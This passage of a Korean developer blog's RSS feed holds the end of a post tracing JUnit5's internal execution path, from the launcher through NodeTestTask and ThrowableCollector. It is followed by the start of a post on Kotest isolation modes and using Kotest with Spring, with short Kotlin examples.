&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우리는 눈으로 Gradle과 IntelliJ IDEA에서 junit-platform-launcher를 활용해 junit을 구동시키는 것을 보았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 이제 큰 Junit5 내부 구조를 뜯어보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Junit 내부 구조&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 내부 구조를 파악하려면 하나하나 뜯어야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Build And Run을 Gradle로 설정했을 때 진행한 프로파일링 Call Tree로 뜯어보겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;721&quot; data-origin-height=&quot;439&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bCA0Yp/btsNayPauxk/KFRaEnHK7Od97SGUVc74m1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bCA0Yp/btsNayPauxk/KFRaEnHK7Od97SGUVc74m1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bCA0Yp/btsNayPauxk/KFRaEnHK7Od97SGUVc74m1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbCA0Yp%2FbtsNayPauxk%2FKFRaEnHK7Od97SGUVc74m1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;655&quot; height=&quot;399&quot; data-origin-width=&quot;721&quot; data-origin-height=&quot;439&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 Junit5의 Launcer가 junit.platform에 속한 EngineExecutionOrchestrator.execute 메서드를 호출한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 클래스는 테스트 엔진들을 활용해 테스트 실행 과정 전체를 관리하고 진행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음으로 호출되는 클래스는 HierachicalTestEngine(정확한 구현체는 JupiterTestEngine)다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: -apple-system, BlinkMacSystemFont, 'Helvetica Neue', 'Apple SD Gothic Neo', Arial, sans-serif; letter-spacing: 0px;&quot;&gt;TestEngine의 구현체로 Node 추상화를 기반으로 테스트 스위트를 계층적으로 구성하고자 하는 엔진에서 사용한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;테스트 스위트!? 위에서 언급한 토비님 영상에서 코드를 따라치며 학습한 개념이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;잠깐 삼천포로 빠져보자..&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;먼저 Junit에서 사용하는 용어 몇 가지를 정리해보자&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;테스트 케이스: 개별적인 테스트 메서드로, 특정 기능이나 동작을 검증 (@Test 붙은 메서드)&lt;/li&gt;
&lt;li&gt;테스트 클래스: 여러 테스트 케이스(메서드)를 포함하는 클래스&lt;/li&gt;
&lt;li&gt;테스트 스위트: Junit에서 테스트 스위트란 여러 테스트 클래스들을 모아서 그룹으로 실행할 수 있게 해준다&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 위에서 언급한 Node 추상화라는 개념은 무엇일까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Node 인터페이스와 이를 구현한 다른 클래스들을 한번에 살펴보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1180&quot; data-origin-height=&quot;901&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/woe7P/btsNaLHqa1x/7GMoUz9zPrHkH44aVEOR2k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/woe7P/btsNaLHqa1x/7GMoUz9zPrHkH44aVEOR2k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/woe7P/btsNaLHqa1x/7GMoUz9zPrHkH44aVEOR2k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fwoe7P%2FbtsNaLHqa1x%2F7GMoUz9zPrHkH44aVEOR2k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1180&quot; height=&quot;901&quot; data-origin-width=&quot;1180&quot; data-origin-height=&quot;901&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Node 인터페이스는 '테스트 실행 구조에서 하나의 구성 요소'이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;EngineExecutionContext, 실행 컨텍스트를 관리하며 테스트를 수행하고, 라이프 사이클 콜백 등을 제공한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 구현체로 온갖 XxxTestDescriptor 클래스들이 들어가있는걸 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;TestDescriptor는 '테스트 엔진이 찾아낸 테스트나 테스트 그룹에 대한 정보를 담고 있는 수정 가능한 객체'이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생각보다 다양한 역할을 수행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;테스트 발견 단계에서 사용&lt;/li&gt;
&lt;li&gt;테스트 구조의 메타 데이터 관리&lt;/li&gt;
&lt;li&gt;계층적 테스트 구조 정의(부모 자식 관계)&lt;/li&gt;
&lt;li&gt;테스트 식별자 관리&lt;/li&gt;
&lt;li&gt;테스트 표시 이름 관리(IDE, 빌드 툴에서 사용)&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;테스트의 구조와 메타데이터를 표현하는 객체로, 테스트 실행 과정에서 필요한 정보를 담고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323; text-align: start;&quot;&gt;다시 호출 스택을 살펴보자&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HierachicalTestEngine는 HierarchicalTestExecutor.execute()를 호출하며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HierarchicalTestExecutor클래스는&amp;nbsp; SameThreadHierarchicalTestExecutorService에게 테스트 실행을 위임한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우리는 Junit 실행에 관해서 병렬 설정을 한게 없으므로 SameThreadHierarchicalTestExecutorService가 실행되는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SameThreadHierarchicalTestExecutorService가 submit() 메서드를 호출하면서 NodeTesTask 클래스 객체를 인자로 넘겨주고, NodeTestTask 객체가 execute 메서드를 실행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;NodeTestTask 클래스가 &lt;b&gt;테스트 스위트&lt;/b&gt;의 역할을 하는 core 클래스인데, execute() 메서드를 살펴보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;661&quot; data-origin-height=&quot;375&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uujlY/btsNaEu7KqW/zSu9l0psZbnDaKJhAguTXk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uujlY/btsNaEu7KqW/zSu9l0psZbnDaKJhAguTXk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uujlY/btsNaEu7KqW/zSu9l0psZbnDaKJhAguTXk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuujlY%2FbtsNaEu7KqW%2FzSu9l0psZbnDaKJhAguTXk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;661&quot; height=&quot;375&quot; data-origin-width=&quot;661&quot; data-origin-height=&quot;375&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;executeRecursively() 메서드가 순환적으로 테스트를 수행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;메서드 내부에서 ThrowableCollector라는 클래스가 있는데, 예외가 터지면 인스턴스 변수 throwable에 Throwable 타입의 객체를 담는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;reportCompletion()메서드에서 ThrowableCollector 클래스가 throwable 인스턴스 변수 값이 null이라면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;TestExecutionResult를 SUCCESSFUL_RESULT로 돌려주고, 실패라면 FAILED를 리턴한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;NodeTestTask의 코어 부분만 정리를 해보겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;NodeTestTask에서 순환적으로 하위 NodeTestTask를 수행하며, 테스트를 수행한다.&lt;br /&gt;ROOT에서 Test1 클래스와 Test2클래스를 수행하면, Test1, Test2 클래스 내부의 모든 테스트 메서드가 수행되는 것이다.&lt;/li&gt;
&lt;li&gt;모든 NodeTestTask는 ThrowableCollector 타입의 인스턴스 변수가 있는데, 해당 클래스의 필드에 Throwable 타입의 필드 값이 null이라면 ThrowableCollector 클래스가 TestExecutinoResult를 SUCCESSFUL_RESULT로 리턴하고, null이 아니라면 FAILED로 리턴한다.&lt;/li&gt;
&lt;li&gt;TestExecutionResult가 IDE에서 테스트가 성공했는지 실패했는지를 보여주는 결과물이다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;토비님 영상과 TDD 책에서는 TestCase.run의 파라미터로 TestResult를 받아서 처리했는데,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Junit5는 ThrowableCollector를 사용해 처리한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;남아있는 의문은 TestExecutionResult를 어떻게 IDE에서 예쁘게 보여주는지다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이는 추후에 확인을 해보는걸로..&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이상으로 포스팅을 마칩니다. 감사합니다.&lt;/p&gt;</description>
      <category>개발</category>
      <category>Java</category>
      <category>junit</category>
      <category>junit launcher</category>
      <category>junit5</category>
      <category>jvm</category>
      <category>launcher</category>
      <category>test</category>
      <category>test framework</category>
      <category>단위 테스트</category>
      <author>Debin</author>
      <guid isPermaLink="true">https://devdebin.tistory.com/362</guid>
      <comments>https://devdebin.tistory.com/362#entry362comment</comments>
      <pubDate>Sat, 5 Apr 2025 12:09:30 +0900</pubDate>
    </item>
    <item>
      <title>Kotest 주의할 점 (with Spring)</title>
      <link>https://devdebin.tistory.com/361</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;오늘은 실무에서 Kotest와 스프링을 같이 사용하면서 당황한 부분을 정리하고, Kotest Isolation Modes에 대해 정리할 예정이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Kotest Isolation Modes&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IsolationMode라는 Enum을 활용해 테스트 케이스 인스턴스를 어떻게 생성하는지 제어할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IsolationMode Enum은 총 3가지 값이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;IsolationMode.SingleInstance&lt;/li&gt;
&lt;li&gt;IsolationMode.InstancePerTest&lt;/li&gt;
&lt;li&gt;IsolationMode.InstancePerLeaf&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;IsolationMode.SingleInstance&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 Enum은 Spec(Fun Spec, Behavior Spec 등) 클래스의 인스턴스가 하나만 생성되고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모든 테스트 케이스가 차례대로 실행되며, 모든 테스트가 완료될 때까지 동일한 인스턴스가 사용된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 하나의 인스턴스에서 여러 테스트가 실행되며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 인스턴스에서의 상태나 변수 값이 테스트 간에 공유될 수 있다는 의미다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같은 코드에서는 모두 동일한 값이 출력된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1742478362480&quot; class=&quot;kotlin&quot; data-ke-language=&quot;kotlin&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;class ExampleTest: BehaviorSpec({
	isolationMode = IsolationMode.SingleInstance
	given(&quot;A&quot;) {
		val id = UUID.randomUUID()
		println(id)
		`when`(&quot;B&quot;) {
			println(id)
			then(&quot;C&quot;) {
				println(id)
			}
		}
	}
})&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;317&quot; data-origin-height=&quot;87&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bRaKrp/btsMRgu7ybF/KS21ACDqvRRaVXYgfp48t0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bRaKrp/btsMRgu7ybF/KS21ACDqvRRaVXYgfp48t0/img.png&quot; data-alt=&quot;IsolationMode.SingleInstance 테스트 결과&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bRaKrp/btsMRgu7ybF/KS21ACDqvRRaVXYgfp48t0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbRaKrp%2FbtsMRgu7ybF%2FKS21ACDqvRRaVXYgfp48t0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;317&quot; height=&quot;87&quot; data-origin-width=&quot;317&quot; data-origin-height=&quot;87&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;IsolationMode.SingleInstance 테스트 결과&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;IsolationMode.InstancePerTest&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 enum을 IsolationMode로 설정하면 각각의 테스트 케이스마다 새로운 Spec 인스턴스가 생성된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 문서에서는 내부 컨텍스트도 포함되며, 외부 컨텍스트가 각각 독립적인 테스트로 실행되고 각기 다른 Spec 인스턴스에서 실행된다고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;외부 컨텍스트는 given, when이고 내부 컨텍스트는 then이라고 이해하면 될 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1742478721028&quot; class=&quot;kotlin&quot; data-ke-language=&quot;kotlin&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;class ExampleTest: BehaviorSpec({
	isolationMode = IsolationMode.InstancePerTest
	given(&quot;A&quot;) {
		val id = UUID.randomUUID()
		println(&quot;A: ${id}&quot;)
		`when`(&quot;B&quot;) {
			println(&quot;B: ${id}&quot;)
			then(&quot;C&quot;) {
				println(&quot;C: ${id}&quot;)
			}
		}
	}
})&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;306&quot; data-origin-height=&quot;137&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJEqAf/btsMQp7jy5E/Hye9v7rprwA4fKCdYYJtPK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJEqAf/btsMQp7jy5E/Hye9v7rprwA4fKCdYYJtPK/img.png&quot; data-alt=&quot;IsolationMode.InstancePerTest 테스트 결과&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJEqAf/btsMQp7jy5E/Hye9v7rprwA4fKCdYYJtPK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJEqAf%2FbtsMQp7jy5E%2FHye9v7rprwA4fKCdYYJtPK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;306&quot; height=&quot;137&quot; data-origin-width=&quot;306&quot; data-origin-height=&quot;137&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;IsolationMode.InstancePerTest 테스트 결과&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;A가 먼저 실행되고, 그런 다음 B를 다시 실행하고, 마지막에 C에 대해서도 실행했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각각의 실행이 새로운 Spec 클래스의 새로운 인스턴스에서 이루어진 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 방식은 이전 테스트에서 사용된 변수가 다음 테스트에 영향되지 않으므로, 변수를 재사용하고 할 때 유용하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 테스트가 독립적으로 실행된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;IsolationMode.InstancePerLeaf&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 enum을 IsolationMode로 설정하면 각각의 리프 테스트 케이스마다 새로운 Spec 인스터느가 생성된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리프 테스트 케이스란 실제 테스트가 실행되는 끝 부분을 의미하며, 내부 컨텍스트는 포함되지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 내부 컨텍스트는 외부 테스트로 가는 path의 일부로만 실행되는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 방식은 내부 컨텍스트가 외부 테스트를 위한 준비 역할을 할 때 유용하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1742479333820&quot; class=&quot;kotlin&quot; data-ke-language=&quot;kotlin&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;class ExampleTest: BehaviorSpec({
	isolationMode = IsolationMode.InstancePerLeaf
	given(&quot;A&quot;) {
		val id = UUID.randomUUID()
		println(&quot;A: ${id}&quot;)
		`when`(&quot;B&quot;) {
			println(&quot;B: ${id}&quot;)
			then(&quot;C&quot;) {
				println(&quot;C: ${id}&quot;)
			}
		}
		`when`(&quot;D&quot;) {
			println(&quot;D: ${id}&quot;)
			then(&quot;E&quot;) {
				println(&quot;E: ${id}&quot;)
			}
		}
	}
})&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;326&quot; data-origin-height=&quot;150&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bDJRFX/btsMRvZK7HL/sBCsnEttsgS7Mu6rkKd0S1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bDJRFX/btsMRvZK7HL/sBCsnEttsgS7Mu6rkKd0S1/img.png&quot; data-alt=&quot;IsolationMode.InstancePerLeaf 테스트 결과&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bDJRFX/btsMRvZK7HL/sBCsnEttsgS7Mu6rkKd0S1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbDJRFX%2FbtsMRvZK7HL%2FsBCsnEttsgS7Mu6rkKd0S1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;326&quot; height=&quot;150&quot; data-origin-width=&quot;326&quot; data-origin-height=&quot;150&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;IsolationMode.InstancePerLeaf 테스트 결과&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;외부 컨텍스트인 테스트 a,b가 먼저 실행된 후, 테스트 c는 같은 인스턴스에서 실행된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그런 다음 새로운 Spec 인스턴스가 생성되고, 다시 테스트 a,d가 실행된 후, 테스트 e가 실행됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-end=&quot;320&quot; data-start=&quot;149&quot; data-ke-size=&quot;size16&quot;&gt;즉, 테스트 c는 같은 Spec 인스턴스에서 실행되지만, 테스트 e는 새로운 Spec 인스턴스에서 실행된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Kotest 사용하기 with Spring&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;kotest를 활용하는 테스트 코드에서 AbstractTestExecutionListener 구현해 사용하려고 했는데,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구현체 리스너가 동작하지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 문서를 살펴보니 SpringExtension을 사용해야한다고 적혀있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 설정해 통합 테스트를 돌려보았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1742480243226&quot; class=&quot;kotlin&quot; data-ke-language=&quot;kotlin&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;class KotestProjectConfig : AbstractProjectConfig() {
    override fun extensions() = listOf(SpringExtension)
}&lt;/code&gt;&lt;/pre&gt;
